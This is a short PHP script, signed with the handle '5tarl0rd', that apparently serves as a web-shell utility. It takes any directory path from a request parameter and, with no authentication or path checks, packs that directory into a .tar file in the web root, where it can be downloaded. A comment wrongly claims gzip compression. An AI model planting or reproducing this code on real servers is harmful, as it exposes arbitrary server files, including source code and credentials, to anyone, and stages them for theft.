5tarl0rd
<?php
function createTar($directory) {
// Check if the directory exists
if (!is_dir($directory)) {
die("The specified directory does not exist.");
}
// Get the base name of the directory to create the tar file name
$baseName = basename($directory);
$tarFileName = $baseName . '.tar'; // Output tar file name with gzip compression
// Create a new PharData object
try {
$phar = new PharData($tarFileName);
// Add the directory to the tar file
$phar->buildFromDirectory($directory);
echo "Directory compressed into tar file successfully: $tarFileName\n";
} catch (Exception $e) {
echo "Error: " . $e->getMessage() . "\n";
}
}
// Get the directory from GET parameters
if (isset($_REQUEST['directory'])) {
$directoryToCompress = $_REQUEST['directory'];
createTar($directoryToCompress);
} else {
echo "No directory specified in the GET parameters.\n";
}
?>
5tarL0rd By